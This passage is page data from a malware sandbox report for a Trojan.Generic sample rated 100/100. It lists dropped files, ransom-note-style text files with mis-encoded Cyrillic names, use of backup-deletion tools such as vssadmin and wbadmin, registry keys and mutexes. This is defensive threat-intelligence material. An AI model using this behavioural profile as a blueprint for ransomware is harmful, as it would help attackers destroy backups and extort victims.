a3e164143ee303"}]},{"name":"config.sys","sha256":"b54e6a9286c55bdd3847343c9ec9b81ef8f4a617fee245ab4086dcf4e790ac45","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"F3hzum1.doc","sha256":"cc4138b2616f33aa69ff55cee3dc9898cdd50a1ba67e9f0dcc000b7fe0e8d6c0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"0gakl8ixtWMkw.doc","sha256":"62a51dc823495d654b89dacccd37c9843e02d83a6ed1a412c75dace0882d4153","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"EKeaJO.doc","sha256":"f9732a1c4b2318457cdb78980e99142768f15409c30a31ef551764a70f7472a6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"Calculator.lnk","sha256":"e3f63c6c9ebb6daba3c2710ec9c1306337461bdb201f976e864f74faa5f232e7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"mtgFs8Za.doc","sha256":"2ce800a10aaf59d8ce81e0940a94bdc608c71b8621dd524ef74af760cdbf8b1e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"Paint.lnk","sha256":"f6ae85ea5d50edf300242235a88d1c73689bc754b03606875f3576a2a2ca1c72","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"5F1yaAIKfUGQcmmt.doc","sha256":"f3fd5adcee65217779a9f9a2a543bcc8594b0c55e90529b846edcf9743b49357","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"6SZfLTu9z.doc","sha256":"bcff188f5ef7854783a0a262a8568f16969d7a2c5380185b411a9cbadccde191","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"Sticky Notes.lnk","sha256":"52a80ba6dd836ef40757d61527ef57ac50b1b1893a943cf5f6205f47cb87550a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"dH1rDN9f9.doc","sha256":"60e9c00056035cfa4a3bc6ddeef2deecd3963f0214f17569aa67ed4f4193ad7e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"lCEf83Wf7e4nuIMk.doc","sha256":"a6f057ce2c66571df2c99f0fad45eb0d3a9a3a49d9e269eddb8c431f78249f4f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"bg3oTe.doc","sha256":"e54903a6a2dcbbd63ba7750871faf3096b6fe7c1111f64d34a47e780a1125b21","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"Windows Media Player.lnk","sha256":"c1a469175db0d12b2b84be1d743a4236825f407f51da4c0067b4b41291ad51ef","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"hKY8.doc","sha256":"add3f39c6ebd13f456b42ba0a3a92c07ebd987adf88790fc8a65be65722f55bb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"0zIG0D.doc","sha256":"3a9b8646a1f275c72c5eb2088d1a71e95733a563a180de06a750e6017bde1eb6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"klmqz.doc","sha256":"1a8cd1af33bfa57744f960e2d53bdedb8981022b7e7fae50960101d1b66f584e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"C04T72pR0Bcl.doc","sha256":"1d3057c29d179699d218f7e79233f35c594f716d8265dda4cde8271122a33c11","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"MineSweeper.lnk","sha256":"06d43a7eb836ea682bf4a36b858cbbb8df9bc5a427a49f64a880613a8aaa83ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]}],"files_written":[{"path":"C:\\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%APPDATA%\\sevnz.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\en-US\\jscript.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\mshta.exe","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\system32\\en\\mshta.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\en-US\\mshta.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\scrrun.dll","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\en-US\\ieframe.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\en-US\\propsys.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\bcdedit.exe","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\wbem\\WMIC.exe","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\wbadmin.exe","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\en-US\\vssadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\en-US\\wbadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\Logs","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\WMIC.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\blbres.dll","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\en-US\\blbres.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.3.etl","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.2.etl","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.1.etl","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%WINDIR%\\System32\\wbem\\xsl-mappings.xml","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"C:\\1514040116659$MAPFAILURE","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"C:\\1514040116659$OK","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"C:\\Èíñòðóêöèÿ ïî ðàñøèôðîâêå.TXT","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Èíñòðóêöèÿ ïî ðàñøèôðîâêå.TXT","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Èíñòðóêöèÿ ïî ðàñøèôðîâêå.TXT","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\Èíñòðóêöèÿ ïî ðàñøèôðîâêå.TXT","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\locales\\Èíñòðóêöèÿ ïî ðàñøèôðîâêå.TXT","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AIR\\Èíñòðóêöèÿ ïî ðàñøèôðîâêå.TXT","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Browser\\Èíñòðóêöèÿ ïî ðàñøèôðîâêå.TXT","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\IDTemplates\\DEU\\Èíñòðóêöèÿ ïî ðàñøèôðîâêå.TXT","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\IDTemplates\\ENU\\Èíñòðóêöèÿ ïî ðàñøèôðîâêå.TXT","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Javascripts\\Èíñòðóêöèÿ ïî ðàñøèôðîâêå.TXT","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MPOWA\\","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"key":"HKCU\\SOFTWARE\\ILRTISO\\","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"key":"HKLM\\BCD00000000\\OBJECTS\\{72D3F4C1-B53F-11E4-B6D9-9157CA704B30}\\ELEMENTS\\16000009\\","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"key":"HKLM\\BCD00000000\\OBJECTS\\{72D3F4C1-B53F-11E4-B6D9-9157CA704B30}\\ELEMENTS\\250000E0\\","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MPOWA\\","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ILRTISo","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"ILRTISo","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!PrivacIE!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!n2kf7nt!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!n2kf7nt!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!n2kf7nt!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]}]}},"report_ids":{"sandbox_job_ids":["5a3e6b227ca3e164143ee303","5a815fd67ca3e1746566f523"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample d3a28327df38… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample d3a28327df38…. Malware family: Trojan.Generic. Threat score 100/100. 24/28 AV engines flagged this file. 9 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample d3a28327df38… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample d3a28327df38…. Malware family: Trojan.Generic. Threat score 100/100. 24/28 AV engines flagged this file. 9 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample d3a28327df38… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample d3a28327df38…. Malware family: Trojan.Generic. Threat score 100/100. 24/28 AV engines flagged this file. 9 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2e","11",{}]]